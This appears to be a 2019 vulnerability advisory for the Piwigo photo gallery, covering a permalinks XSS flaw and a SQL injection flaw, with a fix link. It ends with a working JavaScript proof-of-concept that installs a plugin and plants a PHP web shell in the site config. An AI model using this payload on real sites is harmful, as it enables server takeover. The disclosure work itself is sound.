########################################################################### ______ ____________ __ / ____/_ __/ / __/_ __/__ _____/ /_ / / __/ / / / / /_ / / / _ \/ ___/ __ \ / /_/ / /_/ / / __/ / / / __/ /__/ / / / \____/\__,_/_/_/ /_/ \___/\___/_/ /_/ GulfTech Research and Development ########################################################################### # Piwigo <= 2.9.5 Multiple Vulnerabilities # ########################################################################### Released Date: 2019-09-22 Last Modified: 2019-09-22 Company Info: Piwigo.org Version Info: Vulnerable Piwigo <= 2.9.5 --[ Table of contents 00 - Introduction 00.1 Background 01 - Cross Site Scripting 01.1 - Vulnerable code analysis 01.2 - Remote exploitation 02 - SQL Injection 02.1 - Vulnerable code analysis 02.2 - Remote exploitation 03 - Credit 04 - Solution 05 - Contact information --[ 00 - Introduction The purpose of this article is to detail the vulnerabilities that I found in the Piwigo software. --[ 00.1 - Background Piwigo is a popular open source photo gallery application written in PHP. --[ 01 - Cross Site Scripting Piwigo is vulnerable to a XSS issue within the "permalinks" functionality. This vulnerability can be exploited by an attacker to execute arbitrary client side code within the context of the victim client. --[ 01.1 - Vulnerable code analysis The vulnerable code can be found within the "parse_sort_variables" function which is located in admin/permalinks.php and is as follows: $url_components = parse_url( $_SERVER['REQUEST_URI'] ); $base_url = $url_components['path']; parse_str($url_components['query'], $vars); $is_first = true; foreach ($vars as $key => $value) { if (!in_array($key, $get_rejects) and $key!=$get_param) { $base_url .= $is_first ? '?' : '&'; $is_first = false; $base_url .= $key.'='.urlencode($value); } } As we can see from the above code, the user supplied "REQUEST_URI" server variable is used to build the $base_url variable which is later displayed as a link to the end user. The problem with this code is that value data is urlencoded, but key data is unasanitized. This leads to a reflected XSS condition which could allow an attacker to force an authenticated admin user to perform malicious actions silently on the attackers behalf. --[ 01.2 - Remote exploitation The Javascript payload that I created was able to create a web shell on the remote host by taking the following steps once executed by an authenticated administrator. 1] Gather "pwg_token" CSRF token 2] Install LocalFilesEditor plugin 3] Activate plugin 4] Write shell to /local/config/config.inc.php 5] De activate plugin 6] Uninstall plugin 7] Redirect user to the index page Exploitation of this issue is rather straight forward, but because variables in PHP can't have dots and spaces in their names so those are converted to underscores by the call to "parse_str" in the vulnerable code shown earlier. An attacker must adhere to these limitations whenever constructing XSS payloads. --[ 02 - SQL Injection Piwigo is vulnerable to an SQL Injection issue within the "permalinks" functionality. This vulnerability can be exploited by an attacker to execute arbitrary SQL statements. --[ 02.1 - Vulnerable code analysis The vulnerable code can be found located in the admin/permalinks.php file and is as follows: if ( isset($_POST['set_permalink']) and $_POST['cat_id']>0 ) { check_pwg_token(); $permalink = $_POST['permalink']; if ( empty($permalink) ) delete_cat_permalink($_POST['cat_id'], isset($_POST['save']) ); else set_cat_permalink($_POST['cat_id'], $permalink, isset($_POST['save']) ); $selected_cat = array( $_POST['cat_id'] ); } Both the "set_cat_permalink" and "delete_cat_permalink" functions rely on the "cat_id" variable already being sanitized. However, the only sanity checks that take place with "cat_id" are to make sure it is greater than zero. This is not sufficient as PHP type juggling will cast a string that starts with a number to a valid integer for the comparison, yet the original tainted value will remain. This allows an attacker to pass a string that starts with an integer in order to achieve SQL Injection. --[ 02.2 - Remote exploitation It seems an admin account is required to exploit this issue, so I did not bother with trying to write an exploit for this issue. --[ 03 - Credit James Bercegay GulfTech Research and Development --[ 04 - Solution The issue is addressed with the following commit. https://github.com/Piwigo/Piwigo/commit/7e154ab093546e5288221685c1f8bfec2382d09a This is scheduled for release 2.10.0.RC2 --[ 05 - Contact information Web https://gulftech.org/ Mail security@gulftech.org Copyright 2019 GulfTech Research and Development. All rights reserved. --------------------------------------------------------------- 2019_piwigo_permalinks_xss_to_rce.php Proof of Concept exploit: // BEGIN JAVASCRIPT // CSRF protection token var pwg = document.forms[0].pwg_token.value; // Webshell PHP code var php = "passthru(urldecode($_REQUEST['x']));"; // LocalFilesEditor version info var rev = "6861"; var ext = "144"; // Build URL var url = "admin.php?page=plugins&tab=new&revision=" + rev + "&extension=" + ext + "&pwg_token=" + pwg; // Install plugin $.ajax({ async: false, type: "GET", url: url }); // Build URL var url = "admin.php?page=plugins&plugin=LocalFilesEditor&pwg_token=" + pwg + "&action=activate"; // Activate plugin $.ajax({ async: false, type: "GET", url: url, success: function (response) { // Build URL var url = "admin.php?page=plugin-LocalFilesEditor-localconf"; // Keep space at the beginning of php payload. It's intentional. $.post( url, { pwg_token: pwg, text: " " + php, submit: "1" } ); }}); // Build URL var url = "admin.php?page=plugins&plugin=LocalFilesEditor&pwg_token=" + pwg + "&action=deactivate"; // De Activate plugin $.ajax({ async: false, type: "GET", url: url }); // Build URL var url = "admin.php?page=plugins&plugin=LocalFilesEditor&pwg_token=" + pwg + "&action=delete"; // Uninstall plugin $.ajax({ async: false, type: "GET", url: url }); // Redirect user document.location = "admin.php"; // ENDED JAVASCRIPT